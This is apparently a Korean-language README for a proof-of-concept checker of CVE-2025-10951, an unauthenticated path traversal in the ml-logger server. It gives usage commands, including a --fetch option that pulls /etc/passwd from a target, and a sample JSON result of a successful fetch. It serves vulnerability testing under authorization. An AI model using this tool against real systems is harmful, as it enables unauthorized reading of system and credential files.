CVE-2025-10951 - check_mllogger_traversal.py

CVE-2025-10951 / GHSA-8x9j-2p8r-7xc6에 대한 존재 증명 검사기 — geyang/ml-logger (≤ 0.10.36)의 ml_logger/server.py에 있는 log_handler / stream_handler 함수에 영향을 주는 인증되지 않은 경로 탐색(path traversal) 취약점입니다.

테스트 승인을 받은 시스템에만 사용하십시오.

확인 내용

기본적으로 증명 단계는 /etc/hostname만 읽습니다. 이는 사실상 모든 Linux 호스트에 존재하는 무해한 한 줄이며, 민감한 데이터가 절대 아닙니다.

요구 사항

pip install requests

사용법

기본 확인:

python3 check_mllogger_traversal.py http://TARGET:PORT

결과를 JSON으로 저장(작업 문서화/증거용):

python3 check_mllogger_traversal.py http://TARGET:PORT --json results.json

원하는 특정 파일 가져오기(취약점이 확인된 경우에만 실행):

python3 check_mllogger_traversal.py http://TARGET:PORT \
  --fetch /etc/passwd --output passwd.txt

전체 옵션 함께 사용:

python3 check_mllogger_traversal.py http://TARGET:PORT \
  --json results.json --fetch /etc/passwd --output passwd.txt

옵션

종료 코드

• 0 — 취약점 확인됨 (완전 또는 가능성 높음)
• 1 — 취약점 미확인 / 대상에 연결 불가

JSON 출력 예시

{
  "target": "http://192.xxx.xxx.xxx:8081",
  "timestamp": "2026-00-12T10:15:32.123456+00:00",
  "cve": "CVE-2025-10951",
  "glob_endpoint_confirmed": true,
  "stream_endpoint_confirmed": true,
  "vulnerable": true,
  "likely_vulnerable": true,
  "fetch": {
    "remote_path": "/etc/passwd",
    "local_path": "passwd.txt",
    "success": true
  }
}

참고 사항

• --fetch는 취약점 확인이 성공한 후에만 실행됩니다. 확인되지 않은 대상에 대해서는 가져오기를 시도하지 않습니다.
• 이 스크립트는 사용자를 대신하여 가져올 파일을 선택하지 않습니다. 항상 정확한 원격 경로를 직접 지정해야 합니다.
• 서버에는 특정 파일 읽기 실패 시 HTTP chunked-transfer 응답이 전송 중에 손상되는 알려진 결함이 있습니다. (깔끔한 오류 대신 원시 오류 페이지가 본문에 기록됩니다.) 스크립트는 이를 감지하여 크래시하지 않고 실패로 보고합니다.

참조

• GHSA-8x9j-2p8r-7xc6
• geyang/ml-logger#74 — 안전하지 않은 파일 읽기
• geyang/ml-logger#73 — 안전하지 않은 파일 업로드
• geyang/ml-logger#72 — 역직렬화 RCE
• NVD — CVE-2025-10951